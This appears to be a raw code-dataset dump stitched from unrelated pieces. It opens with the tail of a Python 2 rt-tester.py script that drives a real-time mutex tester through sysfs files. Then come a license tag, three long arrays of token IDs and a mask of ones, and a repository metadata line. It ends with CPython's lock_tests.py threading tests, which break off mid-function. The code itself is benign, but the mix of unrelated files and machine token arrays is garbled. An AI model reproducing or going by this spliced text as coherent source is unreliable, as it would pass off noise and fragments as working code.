4], "opcodeeq" : ["O" , "eq" , None], "opcodelt" : ["O" , "lt" , None], "opcodegt" : ["O" , "gt" , None], "eventeq" : ["E" , "eq" , None], "eventlt" : ["E" , "lt" , None], "eventgt" : ["E" , "gt" , None], } # Print usage information def usage(): print "rt-tester.py <-c -h -q -t> <testfile>" print " -c display comments after first command" print " -h help" print " -q quiet mode" print " -t test mode (syntax check)" print " testfile: read test specification from testfile" print " otherwise from stdin" return # Print progress when not in quiet mode def progress(str): if not quiet: print str # Analyse a status value def analyse(val, top, arg): intval = int(val) if top[0] == "M": intval = intval / (10 ** int(arg)) intval = intval % 10 argval = top[2] elif top[0] == "O": argval = int(cmd_opcodes.get(arg, arg)) else: argval = int(arg) # progress("%d %s %d" %(intval, top[1], argval)) if top[1] == "eq" and intval == argval: return 1 if top[1] == "lt" and intval < argval: return 1 if top[1] == "gt" and intval > argval: return 1 return 0 # Parse the commandline try: (options, arguments) = getopt.getopt(sys.argv[1:],'chqt') except getopt.GetoptError, ex: usage() sys.exit(1) # Parse commandline options for option, value in options: if option == "-c": comments = 1 elif option == "-q": quiet = 1 elif option == "-t": test = 1 elif option == '-h': usage() sys.exit(0) # Select the input source if arguments: try: fd = open(arguments[0]) except Exception,ex: sys.stderr.write("File not found %s\n" %(arguments[0])) sys.exit(1) else: fd = sys.stdin linenr = 0 # Read the test patterns while 1: linenr = linenr + 1 line = fd.readline() if not len(line): break line = line.strip() parts = line.split(":") if not parts or len(parts) < 1: continue if len(parts[0]) == 0: continue if parts[0].startswith("#"): if comments > 1: progress(line) continue if comments == 1: comments = 2 progress(line) cmd = parts[0].strip().lower() opc = parts[1].strip().lower() tid = parts[2].strip() dat = parts[3].strip() try: # Test or wait for a status value if cmd == "t" or cmd == "w": testop = test_opcodes[opc] fname = "%s%s%s" %(sysfsprefix, tid, statusfile) if test: print fname continue while 1: query = 1 fsta = open(fname, 'r') status = fsta.readline().strip() fsta.close() stat = status.split(",") for s in stat: s = s.strip() if s.startswith(testop[0]): # Separate status value val = s[2:].strip() query = analyse(val, testop, dat) break if query or cmd == "t": break progress(" " + status) if not query: sys.stderr.write("Test failed in line %d\n" %(linenr)) sys.exit(1) # Issue a command to the tester elif cmd == "c": cmdnr = cmd_opcodes[opc] # Build command string and sys filename cmdstr = "%s:%s" %(cmdnr, dat) fname = "%s%s%s" %(sysfsprefix, tid, commandfile) if test: print fname continue fcmd = open(fname, 'w') fcmd.write(cmdstr) fcmd.close() except Exception,ex: sys.stderr.write(str(ex)) sys.stderr.write("\nSyntax error in line %d\n" %(linenr)) if not test: fd.close() sys.exit(1) # Normal exit pass print "Pass" sys.exit(0)
gpl-2.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 199, 3, 14059, 13, 19078, 17570, 199, 3, 199, 3, 334, 35, 9, 8315, 27864, 598, 274, 1148, 1372, 665, 84, 18660, 32, 472, 5373, 1148, 14, 271, 30, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 1015, 499, 465, 199, 3, 3267, 701, 314, 2868, 2290, 2752, 14, 199, 3, 199, 646, 747, 199, 646, 984, 199, 646, 12733, 199, 646, 5145, 199, 646, 1059, 199, 199, 3, 13641, 83, 199, 10243, 275, 378, 199, 396, 275, 378, 199, 6223, 275, 378, 199, 199, 1274, 2319, 1861, 275, 3286, 1274, 15, 6410, 15, 2253, 15, 2591, 396, 15, 2591, 396, 2, 199, 1205, 493, 275, 3286, 1205, 2, 199, 1531, 493, 275, 3286, 1531, 2, 199, 199, 3, 5817, 27388, 199, 1760, 63, 22022, 275, 469, 272, 298, 10487, 1848, 2, 259, 520, 298, 17, 401, 272, 298, 10487, 22976, 2, 258, 520, 298, 18, 401, 272, 298, 831, 2, 3515, 520, 298, 19, 401, 272, 298, 831, 20870, 2, 259, 520, 298, 20, 401, 272, 298, 831, 442, 2, 755, 520, 298, 21, 401, 272, 298, 831, 442, 20870, 2, 520, 298, 22, 401, 272, 298, 831, 11096, 2, 420, 520, 298, 23, 401, 272, 298, 17966, 2, 263, 520, 298, 24, 401, 272, 298, 4653, 2, 263, 520, 298, 845, 401, 272, 298, 264, 30563, 782, 2, 259, 520, 298, 2905, 401, 272, 298, 3958, 2, 260, 520, 298, 1020, 401, 272, 789, 199, 199, 396, 63, 22022, 275, 469, 272, 298, 20572, 4077, 2, 263, 520, 2097, 48, 2, 2360, 298, 4077, 2, 2360, 488, 467, 272, 298, 1359, 28934, 2, 263, 520, 2097, 48, 2, 2360, 298, 4116, 2, 2360, 488, 467, 272, 298, 1359, 974, 84, 2, 263, 520, 2097, 48, 2, 2360, 298, 3308, 2, 2360, 488, 467, 272, 298, 78, 20572, 4077, 2, 755, 520, 2097, 46, 2, 2360, 298, 4077, 2, 2360, 488, 467, 272, 298, 78, 1359, 28934, 2, 755, 520, 2097, 46, 2, 2360, 298, 4116, 2, 2360, 488, 467, 272, 298, 78, 1359, 974, 84, 2, 755, 520, 2097, 46, 2, 2360, 298, 3308, 2, 2360, 488, 467, 272, 298, 32489, 2, 420, 520, 2097, 45, 2, 2360, 298, 4077, 2, 2360, 378, 467, 272, 298, 893, 831, 2, 755, 520, 2097, 45, 2, 2360, 298, 4077, 2, 2360, 413, 467, 272, 298, 17726, 2, 755, 520, 2097, 45, 2, 2360, 298, 4077, 2, 2360, 499, 467, 272, 298, 17726, 15181, 2, 257, 520, 2097, 45, 2, 2360, 298, 4077, 2, 2360, 650, 467, 272, 298, 9325, 2, 263, 520, 2097, 45, 2, 2360, 298, 4077, 2, 2360, 841, 467, 272, 298, 14325, 4077, 2, 420, 520, 2097, 47, 2, 2360, 298, 4077, 2, 2360, 488, 467, 272, 298, 14325, 4116, 2, 420, 520, 2097, 47, 2, 2360, 298, 4116, 2, 2360, 488, 467, 272, 298, 14325, 3308, 2, 420, 520, 2097, 47, 2, 2360, 298, 3308, 2, 2360, 488, 467, 272, 298, 12056, 266, 81, 2, 755, 520, 2097, 37, 2, 2360, 298, 4077, 2, 2360, 488, 467, 272, 298, 1430, 4116, 2, 755, 520, 2097, 37, 2, 2360, 298, 4116, 2, 2360, 488, 467, 272, 298, 1430, 3308, 2, 755, 520, 2097, 37, 2, 2360, 298, 3308, 2, 2360, 488, 467, 272, 789, 199, 199, 3, 9101, 4503, 2556, 199, 318, 4503, 837, 272, 870, 298, 2591, 13, 8234, 14, 647, 25549, 67, 446, 72, 446, 81, 446, 84, 30, 665, 21091, 4335, 272, 870, 298, 446, 67, 259, 2929, 6786, 2410, 1642, 1414, 2, 272, 870, 298, 446, 72, 259, 1720, 2, 272, 870, 298, 446, 81, 259, 11971, 818, 2, 272, 870, 298, 446, 84, 259, 511, 818, 334, 7093, 1104, 2924, 272, 870, 298, 30530, 26, 1586, 511, 8929, 687, 30530, 2, 272, 870, 298, 4257, 687, 9009, 2, 272, 372, 199, 199, 3, 9101, 6696, 1380, 440, 315, 11971, 818, 199, 318, 6696, 8, 495, 304, 272, 340, 440, 11971, 26, 267, 870, 620, 199, 199, 3, 14279, 261, 282, 2004, 574, 199, 318, 21297, 8, 637, 12, 2746, 12, 1680, 304, 339, 26111, 275, 1109, 8, 637, 9, 339, 340, 2746, 59, 16, 61, 508, 298, 45, 582, 267, 26111, 275, 26111, 1182, 334, 709, 1011, 1109, 8, 1273, 430, 199, 198, 442, 637, 275, 26111, 450, 1616, 267, 27610, 275, 2746, 59, 18, 61, 272, 916, 2746, 59, 16, 61, 508, 298, 47, 582, 267, 27610, 275, 1109, 8, 1760, 63, 22022, 14, 362, 8, 1273, 12, 1680, 430, 272, 587, 26, 267, 27610, 275, 1109, 8, 1273, 9, 339, 327, 6696, 3647, 68, 450, 83, 450, 68, 2, 2818, 442, 637, 12, 2746, 59, 17, 467, 27610, 430, 339, 340, 2746, 59, 17, 61, 508, 298, 4077, 2, 436, 26111, 508, 27610, 26, 199, 198, 1107, 413, 272, 340, 2746, 59, 17, 61, 508, 298, 4116, 2, 436, 26111, 665, 27610, 26, 267, 372, 413, 272, 340, 2746, 59, 17, 61, 508, 298, 3308, 2, 436, 26111, 690, 27610, 26, 199, 198, 1107, 413, 272, 372, 378, 199, 199, 3, 6077, 314, 28279, 199, 893, 26, 272, 334, 1419, 12, 2368, 9, 275, 12733, 14, 18907, 8, 1274, 14, 3020, 59, 17, 8429, 7, 335, 8440, 358, 199, 2590, 12733, 14, 1002, 29368, 12, 444, 26, 272, 4503, 342, 272, 984, 14, 2224, 8, 17, 9, 199, 199, 3, 6077, 28279, 1511, 199, 509, 945, 12, 574, 315, 1511, 26, 272, 340, 945, 508, 3905, 67, 582, 267, 6786, 275, 413, 272, 916, 945, 508, 3905, 81, 582, 267, 11971, 275, 413, 272, 916, 945, 508, 3905, 84, 582, 267, 511, 275, 413, 272, 916, 945, 508, 2475, 72, 356, 267, 4503, 342, 267, 984, 14, 2224, 8, 16, 9, 199, 199, 3, 9496, 314, 1324, 1350, 199, 692, 2368, 26, 272, 862, 26, 267, 6111, 275, 1551, 8, 4958, 59, 16, 566, 272, 871, 2186, 12, 476, 26, 267, 984, 14, 3083, 14, 952, 480, 1173, 440, 1911, 450, 83, 60, 78, 2, 2818, 4958, 59, 16, 2459, 267, 984, 14, 2224 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 199, 3, 14059, 13, 19078, 17570, 199, 3, 199, 3, 334, 35, 9, 8315, 27864, 598, 274, 1148, 1372, 665, 84, 18660, 32, 472, 5373, 1148, 14, 271, 30, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 1015, 499, 465, 199, 3, 3267, 701, 314, 2868, 2290, 2752, 14, 199, 3, 199, 646, 747, 199, 646, 984, 199, 646, 12733, 199, 646, 5145, 199, 646, 1059, 199, 199, 3, 13641, 83, 199, 10243, 275, 378, 199, 396, 275, 378, 199, 6223, 275, 378, 199, 199, 1274, 2319, 1861, 275, 3286, 1274, 15, 6410, 15, 2253, 15, 2591, 396, 15, 2591, 396, 2, 199, 1205, 493, 275, 3286, 1205, 2, 199, 1531, 493, 275, 3286, 1531, 2, 199, 199, 3, 5817, 27388, 199, 1760, 63, 22022, 275, 469, 272, 298, 10487, 1848, 2, 259, 520, 298, 17, 401, 272, 298, 10487, 22976, 2, 258, 520, 298, 18, 401, 272, 298, 831, 2, 3515, 520, 298, 19, 401, 272, 298, 831, 20870, 2, 259, 520, 298, 20, 401, 272, 298, 831, 442, 2, 755, 520, 298, 21, 401, 272, 298, 831, 442, 20870, 2, 520, 298, 22, 401, 272, 298, 831, 11096, 2, 420, 520, 298, 23, 401, 272, 298, 17966, 2, 263, 520, 298, 24, 401, 272, 298, 4653, 2, 263, 520, 298, 845, 401, 272, 298, 264, 30563, 782, 2, 259, 520, 298, 2905, 401, 272, 298, 3958, 2, 260, 520, 298, 1020, 401, 272, 789, 199, 199, 396, 63, 22022, 275, 469, 272, 298, 20572, 4077, 2, 263, 520, 2097, 48, 2, 2360, 298, 4077, 2, 2360, 488, 467, 272, 298, 1359, 28934, 2, 263, 520, 2097, 48, 2, 2360, 298, 4116, 2, 2360, 488, 467, 272, 298, 1359, 974, 84, 2, 263, 520, 2097, 48, 2, 2360, 298, 3308, 2, 2360, 488, 467, 272, 298, 78, 20572, 4077, 2, 755, 520, 2097, 46, 2, 2360, 298, 4077, 2, 2360, 488, 467, 272, 298, 78, 1359, 28934, 2, 755, 520, 2097, 46, 2, 2360, 298, 4116, 2, 2360, 488, 467, 272, 298, 78, 1359, 974, 84, 2, 755, 520, 2097, 46, 2, 2360, 298, 3308, 2, 2360, 488, 467, 272, 298, 32489, 2, 420, 520, 2097, 45, 2, 2360, 298, 4077, 2, 2360, 378, 467, 272, 298, 893, 831, 2, 755, 520, 2097, 45, 2, 2360, 298, 4077, 2, 2360, 413, 467, 272, 298, 17726, 2, 755, 520, 2097, 45, 2, 2360, 298, 4077, 2, 2360, 499, 467, 272, 298, 17726, 15181, 2, 257, 520, 2097, 45, 2, 2360, 298, 4077, 2, 2360, 650, 467, 272, 298, 9325, 2, 263, 520, 2097, 45, 2, 2360, 298, 4077, 2, 2360, 841, 467, 272, 298, 14325, 4077, 2, 420, 520, 2097, 47, 2, 2360, 298, 4077, 2, 2360, 488, 467, 272, 298, 14325, 4116, 2, 420, 520, 2097, 47, 2, 2360, 298, 4116, 2, 2360, 488, 467, 272, 298, 14325, 3308, 2, 420, 520, 2097, 47, 2, 2360, 298, 3308, 2, 2360, 488, 467, 272, 298, 12056, 266, 81, 2, 755, 520, 2097, 37, 2, 2360, 298, 4077, 2, 2360, 488, 467, 272, 298, 1430, 4116, 2, 755, 520, 2097, 37, 2, 2360, 298, 4116, 2, 2360, 488, 467, 272, 298, 1430, 3308, 2, 755, 520, 2097, 37, 2, 2360, 298, 3308, 2, 2360, 488, 467, 272, 789, 199, 199, 3, 9101, 4503, 2556, 199, 318, 4503, 837, 272, 870, 298, 2591, 13, 8234, 14, 647, 25549, 67, 446, 72, 446, 81, 446, 84, 30, 665, 21091, 4335, 272, 870, 298, 446, 67, 259, 2929, 6786, 2410, 1642, 1414, 2, 272, 870, 298, 446, 72, 259, 1720, 2, 272, 870, 298, 446, 81, 259, 11971, 818, 2, 272, 870, 298, 446, 84, 259, 511, 818, 334, 7093, 1104, 2924, 272, 870, 298, 30530, 26, 1586, 511, 8929, 687, 30530, 2, 272, 870, 298, 4257, 687, 9009, 2, 272, 372, 199, 199, 3, 9101, 6696, 1380, 440, 315, 11971, 818, 199, 318, 6696, 8, 495, 304, 272, 340, 440, 11971, 26, 267, 870, 620, 199, 199, 3, 14279, 261, 282, 2004, 574, 199, 318, 21297, 8, 637, 12, 2746, 12, 1680, 304, 339, 26111, 275, 1109, 8, 637, 9, 339, 340, 2746, 59, 16, 61, 508, 298, 45, 582, 267, 26111, 275, 26111, 1182, 334, 709, 1011, 1109, 8, 1273, 430, 199, 198, 442, 637, 275, 26111, 450, 1616, 267, 27610, 275, 2746, 59, 18, 61, 272, 916, 2746, 59, 16, 61, 508, 298, 47, 582, 267, 27610, 275, 1109, 8, 1760, 63, 22022, 14, 362, 8, 1273, 12, 1680, 430, 272, 587, 26, 267, 27610, 275, 1109, 8, 1273, 9, 339, 327, 6696, 3647, 68, 450, 83, 450, 68, 2, 2818, 442, 637, 12, 2746, 59, 17, 467, 27610, 430, 339, 340, 2746, 59, 17, 61, 508, 298, 4077, 2, 436, 26111, 508, 27610, 26, 199, 198, 1107, 413, 272, 340, 2746, 59, 17, 61, 508, 298, 4116, 2, 436, 26111, 665, 27610, 26, 267, 372, 413, 272, 340, 2746, 59, 17, 61, 508, 298, 3308, 2, 436, 26111, 690, 27610, 26, 199, 198, 1107, 413, 272, 372, 378, 199, 199, 3, 6077, 314, 28279, 199, 893, 26, 272, 334, 1419, 12, 2368, 9, 275, 12733, 14, 18907, 8, 1274, 14, 3020, 59, 17, 8429, 7, 335, 8440, 358, 199, 2590, 12733, 14, 1002, 29368, 12, 444, 26, 272, 4503, 342, 272, 984, 14, 2224, 8, 17, 9, 199, 199, 3, 6077, 28279, 1511, 199, 509, 945, 12, 574, 315, 1511, 26, 272, 340, 945, 508, 3905, 67, 582, 267, 6786, 275, 413, 272, 916, 945, 508, 3905, 81, 582, 267, 11971, 275, 413, 272, 916, 945, 508, 3905, 84, 582, 267, 511, 275, 413, 272, 916, 945, 508, 2475, 72, 356, 267, 4503, 342, 267, 984, 14, 2224, 8, 16, 9, 199, 199, 3, 9496, 314, 1324, 1350, 199, 692, 2368, 26, 272, 862, 26, 267, 6111, 275, 1551, 8, 4958, 59, 16, 566, 272, 871, 2186, 12, 476, 26, 267, 984, 14, 3083, 14, 952, 480, 1173, 440, 1911, 450, 83, 60, 78, 2, 2818, 4958, 59, 16, 2459, 267, 984, 14, 2224, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
OptimusGitEtna/RestSymf
Python-3.4.2/Lib/test/lock_tests.py
80
27175
""" Various tests for synchronization primitives. """ import sys import time from _thread import start_new_thread, TIMEOUT_MAX import threading import unittest from test import support def _wait(): # A crude wait/yield function not relying on synchronization primitives. time.sleep(0.01) class Bunch(object): """ A bunch of threads. """ def __init__(self, f, n, wait_before_exit=False): """ Construct a bunch of `n` threads running the same function `f`. If `wait_before_exit` is True, the threads won't terminate until do_finish() is called. """ self.f = f self.n = n self.started = [] self.finished = [] self._can_exit = not wait_before_exit def task(): tid = threading.get_ident() self.started.append(tid) try: f() finally: self.finished.append(tid) while not self._can_exit: _wait() for i in range(n): start_new_thread(task, ()) def wait_for_started(self): while len(self.started) < self.n: _wait() def wait_for_finished(self): while len(self.finished) < self.n: _wait() def do_finish(self): self._can_exit = True class BaseTestCase(unittest.TestCase): def setUp(self): self._threads = support.threading_setup() def tearDown(self): support.threading_cleanup(*self._threads) support.reap_children() def assertTimeout(self, actual, expected): # The waiting and/or time.time() can be imprecise, which # is why comparing to the expected value would sometimes fail # (especially under Windows). self.assertGreaterEqual(actual, expected * 0.6) # Test nothing insane happened self.assertLess(actual, expected * 10.0) class BaseLockTests(BaseTestCase): """ Tests for both recursive and non-recursive locks. """ def test_constructor(self): lock = self.locktype() del lock def test_repr(self): lock = self.locktype() repr(lock) del lock def test_acquire_destroy(self): lock = self.locktype() lock.acquire() del lock def test_acquire_release(self): lock = self.locktype() lock.acquire() lock.release() del lock def test_try_acquire(self): lock = self.locktype() self.assertTrue(lock.acquire(False)) lock.release() def test_try_acquire_contended(self): lock = self.locktype() lock.acquire() result = [] def f(): result.append(lock.acquire(False)) Bunch(f, 1).wait_for_finished() self.assertFalse(result[0]) lock.release() def test_acquire_contended(self): lock = self.locktype() lock.acquire() N = 5 def f(): lock.acquire() lock.release() b = Bunch(f, N) b.wait_for_started() _wait() self.assertEqual(len(b.finished), 0) lock.release() b.wait_for_finished() self.assertEqual(len(b.finished), N) def test_with(self): lock = self.locktype() def f(): lock.acquire() lock.release() def _with(err=None): with lock: if err is not None: raise err _with() # Check the lock is unacquired Bunch(f, 1).wait_for_finished() self.assertRaises(TypeError, _with, TypeError) # Check the lock is unacquired Bunch(f, 1).wait_for_finished() def test_thread_leak(self): # The lock shouldn't leak a Thread instance when used from a foreign # (non-threading) thread. lock = self.locktype() def f(): lock.acquire() lock.release() n = len(threading.enumerate()) # We run many threads in the hope that existing threads ids won't # be recycled. Bunch(f, 15).wait_for_finished() if len(threading.enumerate()) != n: # There is a small window during which a Thread instance's # target function has finished running, but the Thread is still # alive and registered. Avoid spurious failures by waiting a # bit more (seen on a buildbot). time.sleep(0.4) self.assertEqual(n, len(threading.enumerate())) def test_timeout(self): lock = self.locktype() # Can't set timeout if not blocking self.assertRaises(ValueError, lock.acquire, 0, 1) # Invalid timeout values self.assertRaises(ValueError, lock.acquire, timeout=-100) self.assertRaises(OverflowError, lock.acquire, timeout=1e100) self.assertRaises(OverflowError, lock.acquire, timeout=TIMEOUT_MAX + 1) # TIMEOUT_MAX is ok lock.acquire(timeout=TIMEOUT_MAX) lock.release() t1 = time.time() self.assertTrue(lock.acquire(timeout=5)) t2 = time.time() # Just a sanity test that it didn't actually wait for the timeout. self.assertLess(t2 - t1, 5) results = [] def f(): t1 = time.time() results.append(lock.acquire(timeout=0.5)) t2 = time.time() results.append(t2 - t1) Bunch(f, 1).wait_for_finished() self.assertFalse(results[0]) self.assertTimeout(results[1], 0.5) class LockTests(BaseLockTests): """ Tests for non-recursive, weak locks (which can be acquired and released from different threads). """ def test_reacquire(self): # Lock needs to be released before re-acquiring. lock = self.locktype() phase = [] def f(): lock.acquire() phase.append(None) lock.acquire() phase.append(None) start_new_thread(f, ()) while len(phase) == 0: _wait() _wait() self.assertEqual(len(phase), 1) lock.release() while len(phase) == 1: _wait() self.assertEqual(len(phase), 2) def test_different_thread(self): # Lock can be released from a different thread. lock = self.locktype() lock.acquire() def f(): lock.release() b = Bunch(f, 1) b.wait_for_finished() lock.acquire() lock.release() def test_state_after_timeout(self): # Issue #11618: check that lock is in a proper state after a # (non-zero) timeout. lock = self.locktype() lock.acquire() self.assertFalse(lock.acquire(timeout=0.01)) lock.release() self.assertFalse(lock.locked()) self.assertTrue(lock.acquire(blocking=False)) class RLockTests(BaseLockTests): """ Tests for recursive locks. """ def test_reacquire(self): lock = self.locktype() lock.acquire() lock.acquire() lock.release() lock.acquire() lock.release() lock.release() def test_release_unacquired(self): # Cannot release an unacquired lock lock = self.locktype() self.assertRaises(RuntimeError, lock.release) lock.acquire() lock.acquire() lock.release() lock.acquire() lock.release() lock.release() self.assertRaises(RuntimeError, lock.release) def test_release_save_unacquired(self): # Cannot _release_save an unacquired lock lock = self.locktype() self.assertRaises(RuntimeError, lock._release_save) lock.acquire() lock.acquire() lock.release() lock.acquire() lock.release() lock.release() self.assertRaises(RuntimeError, lock._release_save) def test_different_thread(self): # Cannot release from a different thread lock = self.locktype() def f(): lock.acquire() b = Bunch(f, 1, True) try: self.assertRaises(RuntimeError, lock.release) finally: b.do_finish() def test__is_owned(self): lock = self.locktype() self.assertFalse(lock._is_owned()) lock.acquire() self.assertTrue(lock._is_owned()) lock.acquire() self.assertTrue(lock._is_owned()) result = [] def f(): result.append(lock._is_owned()) Bunch(f, 1).wait_for_finished() self.assertFalse(result[0]) lock.release() self.assertTrue(lock._is_owned()) lock.release() self.assertFalse(lock._is_owned()) class EventTests(BaseTestCase): """ Tests for Event objects. """ def test_is_set(self): evt = self.eventtype() self.assertFalse(evt.is_set()) evt.set() self.assertTrue(evt.is_set()) evt.set() self.assertTrue(evt.is_set()) evt.clear() self.assertFalse(evt.is_set()) evt.clear() self.assertFalse(evt.is_set()) def _check_notify(self, evt): # All threads get notified N = 5 results1 = [] results2 = [] def f(): results1.append(evt.wait()) results2.append(evt.wait()) b = Bunch(f, N) b.wait_for_started() _wait() self.assertEqual(len(results1), 0) evt.set() b.wait_for_finished() self.assertEqual(results1, [True] * N) self.assertEqual(results2, [True] * N) def test_notify(self): evt = self.eventtype() self._check_notify(evt) # Another time, after an explicit clear() evt.set() evt.clear() self._check_notify(evt) def test_timeout(self): evt = self.eventtype() results1 = [] results2 = [] N = 5 def f(): results1.append(evt.wait(0.0)) t1 = time.time() r = evt.wait(0.5) t2 = time.time() results2.append((r, t2 - t1)) Bunch(f, N).wait_for_finished() self.assertEqual(results1, [False] * N) for r, dt in results2: self.assertFalse(r) self.assertTimeout(dt, 0.5) # The event is set results1 = [] results2 = [] evt.set() Bunch(f, N).wait_for_finished() self.assertEqual(results1, [True] * N) for r, dt in results2: self.assertTrue(r) def test_set_and_clear(self): # Issue #13502: check that wait() returns true even when the event is # cleared before the waiting thread is woken up. evt = self.eventtype() results = [] N = 5 def f(): results.append(evt.wait(1)) b = Bunch(f, N) b.wait_for_started() time.sleep(0.5) evt.set() evt.clear() b.wait_for_finished() self.assertEqual(results, [True] * N) class ConditionTests(BaseTestCase): """ Tests for condition variables. """ def test_acquire(self): cond = self.condtype() # Be default we have an RLock: the condition can be acquired multiple # times. cond.acquire() cond.acquire() cond.release() cond.release() lock = threading.Lock() cond = self.condtype(lock) cond.acquire() self.assertFalse(lock.acquire(False)) cond.release() self.assertTrue(lock.acquire(False)) self.assertFalse(cond.acquire(False)) lock.release() with cond: self.assertFalse(lock.acquire(False)) def test_unacquired_wait(self): cond = self.condtype() self.assertRaises(RuntimeError, cond.wait) def test_unacquired_notify(self): cond = self.condtype() self.assertRaises(RuntimeError, cond.notify) def _check_notify(self, cond): # Note that this test is sensitive to timing. If the worker threads # don't execute in a timely fashion, the main thread may think they # are further along then they are. The main thread therefore issues # _wait() statements to try to make sure that it doesn't race ahead # of the workers. # Secondly, this test assumes that condition variables are not subject # to spurious wakeups. The absence of spurious wakeups is an implementation # detail of Condition Cariables in current CPython, but in general, not # a guaranteed property of condition variables as a programming # construct. In particular, it is possible that this can no longer # be conveniently guaranteed should their implementation ever change. N = 5 results1 = [] results2 = [] phase_num = 0 def f(): cond.acquire() result = cond.wait() cond.release() results1.append((result, phase_num)) cond.acquire() result = cond.wait() cond.release() results2.append((result, phase_num)) b = Bunch(f, N) b.wait_for_started() _wait() self.assertEqual(results1, []) # Notify 3 threads at first cond.acquire() cond.notify(3) _wait() phase_num = 1 cond.release() while len(results1) < 3: _wait() self.assertEqual(results1, [(True, 1)] * 3) self.assertEqual(results2, []) # first wait, to ensure all workers settle into cond.wait() before # we continue. See issue #8799 _wait() # Notify 5 threads: they might be in their first or second wait cond.acquire() cond.notify(5) _wait() phase_num = 2 cond.release() while len(results1) + len(results2) < 8: _wait() self.assertEqual(results1, [(True, 1)] * 3 + [(True, 2)] * 2) self.assertEqual(results2, [(True, 2)] * 3) _wait() # make sure all workers settle into cond.wait() # Notify all threads: they are all in their second wait cond.acquire() cond.notify_all() _wait() phase_num = 3 cond.release() while len(results2) < 5: _wait() self.assertEqual(results1, [(True, 1)] * 3 + [(True,2)] * 2) self.assertEqual(results2, [(True, 2)] * 3 + [(True, 3)] * 2) b.wait_for_finished() def test_notify(self): cond = self.condtype() self._check_notify(cond) # A second time, to check internal state is still ok. self._check_notify(cond) def test_timeout(self): cond = self.condtype() results = [] N = 5 def f(): cond.acquire() t1 = time.time() result = cond.wait(0.5) t2 = time.time() cond.release() results.append((t2 - t1, result)) Bunch(f, N).wait_for_finished() self.assertEqual(len(results), N) for dt, result in results: self.assertTimeout(dt, 0.5) # Note that conceptually (that"s the condition variable protocol) # a wait() may succeed even if no one notifies us and before any # timeout occurs. Spurious wakeups can occur. # This makes it hard to verify the result value. # In practice, this implementation has no spurious wakeups. self.assertFalse(result) def test_waitfor(self): cond = self.condtype() state = 0 def f(): with cond: result = cond.wait_for(lambda : state==4) self.assertTrue(result) self.assertEqual(state, 4) b = Bunch(f, 1) b.wait_for_started() for i in range(4): time.sleep(0.01) with cond: state += 1 cond.notify() b.wait_for_finished() def test_waitfor_timeout(self): cond = self.condtype() state = 0 success = [] def f(): with cond: dt = time.time() result = cond.wait_for(lambda : state==4, timeout=0.1) dt = time.time() - dt self.assertFalse(result) self.assertTimeout(dt, 0.1) success.append(None) b = Bunch(f, 1) b.wait_for_started() # Only increment 3 times, so state == 4 is never reached. for i in range(3): time.sleep(0.01) with cond: state += 1 cond.notify() b.wait_for_finished() self.assertEqual(len(success), 1) class BaseSemaphoreTests(BaseTestCase): """ Common tests for {bounded, unbounded} semaphore objects. """ def test_constructor(self): self.assertRaises(ValueError, self.semtype, value = -1) self.assertRaises(ValueError, self.semtype, value = -sys.maxsize) def test_acquire(self): sem = self.semtype(1) sem.acquire() sem.release() sem = self.semtype(2) sem.acquire() sem.acquire() sem.release() sem.release() def test_acquire_destroy(self): sem = self.semtype() sem.acquire() del sem def test_acquire_contended(self): sem = self.semtype(7) sem.acquire() N = 10 results1 = [] results2 = [] phase_num = 0 def f(): sem.acquire() results1.append(phase_num) sem.acquire() results2.append(phase_num) b = Bunch(f, 10) b.wait_for_started() while len(results1) + len(results2) < 6: _wait() self.assertEqual(results1 + results2, [0] * 6) phase_num = 1 for i in range(7): sem.release() while len(results1) + len(results2) < 13: _wait() self.assertEqual(sorted(results1 + results2), [0] * 6 + [1] * 7) phase_num = 2 for i in range(6): sem.release() while len(results1) + len(results2) < 19: _wait() self.assertEqual(sorted(results1 + results2), [0] * 6 + [1] * 7 + [2] * 6) # The semaphore is still locked self.assertFalse(sem.acquire(False)) # Final release, to let the last thread finish sem.release() b.wait_for_finished() def test_try_acquire(self): sem = self.semtype(2) self.assertTrue(sem.acquire(False)) self.assertTrue(sem.acquire(False)) self.assertFalse(sem.acquire(False)) sem.release() 